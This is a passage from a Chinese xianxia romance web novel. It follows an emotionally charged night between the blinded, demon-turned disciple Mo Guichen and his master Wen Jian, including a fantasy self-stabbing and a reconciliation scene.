    闻笺用最后一丝微薄灵力,捏出个清洁术:“到底去哪无师自通的技能,学得那么疯。”


    “你说跟谁学的!”


    陌归尘一把攥住闻笺衣襟,声声责问控诉:“你还有脸问!到底是谁在发疯!


    “看不见就看不见呗!有什么大不了的!这世上大把人比我惨千百倍,不还好好活着!


    “你们当师父,还不如徒弟活得明白!


    又忽地脱力跌了跌:“师尊,你不要死……不要死……我只有你了……不要离开我,不要死。”


    “别哭。”


    闻笺抚抚徒弟后背:“师父还没死呢,你就急着哭丧?孝过头了。”


    陌归尘破涕为笑:“你有病呀!都什么时候了!还在这开玩笑!”


    “笑一笑,多好看。”


    “不好笑,一点都不好笑。”


    “为师无碍。”


    “我是瞎,不是傻,无碍你个大头鬼!”


    闻笺低笑:“怎么骂人都这么可爱。”


    陌归尘气煞极了:“笑!你还笑!你脑子进泡泡了吗?”


    陌归尘转头去摸尾巴,便感觉闻笺摸了摸他垂下的脑袋,喃喃自语重复:“泡泡?”


    还没回味过来,对方倏地砸倒在他身,压得他透不过气,好半天才从闻笺身下爬出来。


    半扶起那人唤道:“师尊……师尊?”


    闻笺魂魄溃散得厉害。


    陌归尘五指抓上猫尾根部,毫不犹豫使力,掰断。


    用猫尾化作盏聚魂灯。


    他源源不断输送灵力,驱动魂灯聚魂,灵力掏空后,又转用煞气,见人魂魄总算稳下才停止。


    修为几乎耗尽,刚背闻笺,陌归尘就摔了一跤。


    如今的他,是凡胎□□,平日里又被养得金贵,这么一摔,摔得骨头都要断了似的。


    血迹斑驳的人咬牙撑起。


    天寒地冻里,朔风回雪。


    陌归尘拖着残破的身子,又一次撑起血肉模糊的掌,他不知自己摔了多少次,只知自己从小到大就不是个认输的人。


    *


    魔宫,竹屋。


    陌归尘醒来时,不知时辰,眼前乌黑黑的一片,耳畔是角落铜壶滴答滴答的滴水声。


    榻边有人坐下。


    那人指背探了探他额头,温声问:“可还有哪不舒服?”


    “师尊?”


    他伸手去摸,果然拽到闻笺的袖口一角,扯了扯,问,“你没事了?”


    “玩够了么?回去吧。”师尊的声音不高,在滴答滴答的水声中显得很温暖。


    回去?


    陌归尘无声轻喃,他摇头,“回不去了,我是魔。”


    闻笺收回手:“只要你没滥杀无辜,总能回归正道的。”


    陌归尘怔住片刻,张了张唇,眼底蓄上层薄雾,嗓音有些无力:“师尊,回不去了。


    “人真的是我杀的。”


    虽非他本意,但到底经了他手,陌归尘举起双指,点上闻笺眉心。


    画面顿时流淌进对方脑海:


    浮华派,晏玉书卧房。


    夜色幽幽,黑雾向四周驱散,缓缓露出中央的白猫。


    白猫眼神迷离,倒退两步。


    黑雾轻叹一声。


    白猫心口忽而亮起诡异红光,双眸陡然腾起狠戾的猩红,用意念控制无双剑,剑尖停在半空嗡鸣震动。


    白猫痛苦挣扎,极力克制杀意。


    黑雾化作无形的掌,往猫身轻轻一推,小猫咬牙泣出声哀鸣,奋力摇头,仍抵不住被操控的心神,蛊惑着它,眼睁睁那柄剑,在它的灵力裹挟下,凌空穿破对面人的喉咙。


    只有那偏差喉咙正中心的两分距离,昭示着它力不从心的抗拒。


    黑雾握起猫爪,捏捏粉色的肉垫,轻轻摁了摁,掐出一朵小花,笑斥:“不乖,对敌人仁慈,就是对自己残忍。”


    ……


    陌归尘抽回手指,退出回忆,苦笑:“师尊看清了吗?你无条件信任的徒弟,手染鲜血。”


    不过他没告诉闻笺,更为重要的原因是,在闻笺昏迷的那半日,他从古籍得知,聚魂灯以灵根作灯芯,效果更佳。


    所以……


    他毫不犹豫生抽灵根。


    自十年前堕魔后,他体内便有两套修炼体系,一直以来都是灵魔双修,如今拔掉灵根,灵脉尽废,已是个彻头彻尾的魔修,修不了任何仙门功法。


    其实从十年前踏进魔界那刻,他就已离正道越来越远。


    回家,从来都是个笑话。


    他仿若溺水的人,抓住最后一根救命稻草:“师尊,你留下来吧,分明你也心悦我。


    “你留下来好不好?”


    闻笺轻轻拂掉他的手:“从选择你的那一刻起,为师就没了选择。”


    “为什么不可以!


    “为什么啊!”


    陌归尘崩溃如孩子,除了撒泼打滚,别无他法:“到底为什么啊……是不是我把命还给你,我们就不是师徒了?”


    可我不是早就还清了吗?


    在浮华派的地牢里,多年恩情,剔骨相还。


    他趔趄爬起,半跪在闻笺腿边近乎哀求:“师尊,是不是还要再死一回,再死一回,就不算师徒了?


    “那还你。


    “全都还给你!”


    刹那,无双剑出鞘。


    陌归尘反握剑柄,由得剑尖刺进心脏,狠戾无情贯穿躯体。


    攥着利刃的手在滴血。


    陌归尘却感觉不到疼痛,又猛地往后捅:“都还给你!


    “这样可以了吗?”


    那人轻轻喊了他一声。


    陌归尘强作镇定稳下心神,他眸中染着些许期盼,小心翼翼聆听,听到师尊一如既往的清冷话音。


    那人说的是:“别哭。”


    轻柔的灵力包裹而来,暖融融地镀进经脉,逐渐修复废掉的灵脉,藏在其中的还有道不同宗原却又带着与生俱来般熟悉的气息。


    “怎么总折腾自己。”


    空气有些稀薄,陌归尘能感受到闻笺的手缓缓伸了过来,将触及脸颊之际,又似骇然醒神般,顿在咫尺距离外。


    闻笺转而握上他手:“别哭。”师尊那攥住他的掌,沁出点冷汗,湿湿濡濡贴紧他手背,凉得彻骨。


    陌归尘自嘲失笑。


    果然,还是得不到回应,他们,永远没有转机。


    可他要求的分明也不多,事到如今,他也不敢妄求厮守,只想听一句简简单单的“我爱你”,怎么就那么难比登天。


    榻边矮案案面棋盘下压着几张练字的竹纸。


    是从前中秋月夜,他把浮华派的宴席上祭拜过月神的酥饼,偷去给阿栀吃。


    回来后,和二师姐还有十三师兄放天灯,还参加了门派弟子们的投壶比赛,赢回个柚子,也玩累了,便倚在师尊怀里,边吃师尊给剥的柚子边赏月,其实他有些困倦,但习俗需得熬夜。


    相传越夜睡越长寿。


    他和二师姐都没熬住,二人大眼瞪小眼,摇摇欲坠。


    就是那会儿的花好月圆里,师尊手把手带他抄诗。


    他哈欠连连,耐不住困意一头扎进师尊怀里前,只记得最后一句是:“愿花长好,人长健,月长圆”。


    现实却是……


    无奈朝来寒雨夜来风。


    自是人生长恨水长东。


    窗外新绿的枝,被厚雪团压断,噗一声,雪撒了一地。


    陌归尘抓过那写着“愿花长好,人长健,月长圆”的纸张,燃起股火焰,将之烧得干干净净。


    升腾的火光,似带着人走了一趟梦境,梦醒后,只有他一个人从回忆里走出来。


    此刻,那么真实。


    “这次不耍赖了。


    “我认输。


    “你赢了。”


    他承认,在闻笺这里,他真的输得一败涂地。


    陌归尘万念俱灰,面无表情推开闻笺凉得没有温度的手。


    “闻笺,我讨厌你。


    “滚。”


    *


    脚下升起股踏空感,陌归尘倏然睁眸,从梦中惊醒。


    感受到日光照来的刺眼感。


    他舒出口气,昨夜推开闻笺后,只是装睡,竟还真就过了一夜?


    房中不知何时架起个碳炉,烧得整个屋子暖融融的,碳味中似乎混杂着点焦味,像是纸屑被烧透的熏味儿。


    陌归尘撑着身子坐起,方惊觉自己枕在旁人的腿,他惯性伸手摸索一下,摸到熟悉的布料触感。


    这人是……闻笺?


    怨气滔天的人,泄愤似的,反手就掐上对面人脖子,抬起对方下颔:“玄胤仙尊这么克己复礼,宁折不屈,还赖在这里做什么?”


    师尊没说话。


    陌归尘手掌又转到对方脑后,揪住头发,往下一扯,再次强迫对方抬起头。


    那人吃痛闷哼了声。


    却丝毫不反抗,一副任他蹂躏搓磨的小媳妇模样,顺从极了。


    倒衬得自己像个正在家暴的刁蛮悍夫。


    “说话啊!”


    对方还是默不作声。


    明明自己才是那个主导者,可师尊骨子里散发出的淡然,浑然不叫其处于下风。


    倒更像是种一味的纵容与毫无底线的宠溺。


    恍若一拳砸在棉花上,魔尊大人分外不得劲儿,松了松力度,讥笑冷嗤:“还不滚,是等着我三跪九叩,八抬大轿亲自送你回去?”


    对方仍是没急于开口。


    屋内静得针落可闻,陌归尘清晰听到玉链因拖拽而擦碰出来的动静。


    咔的一声。


    师尊亲自扣上镣铐,如常纵容着,低声问:“不走了,可以吗?”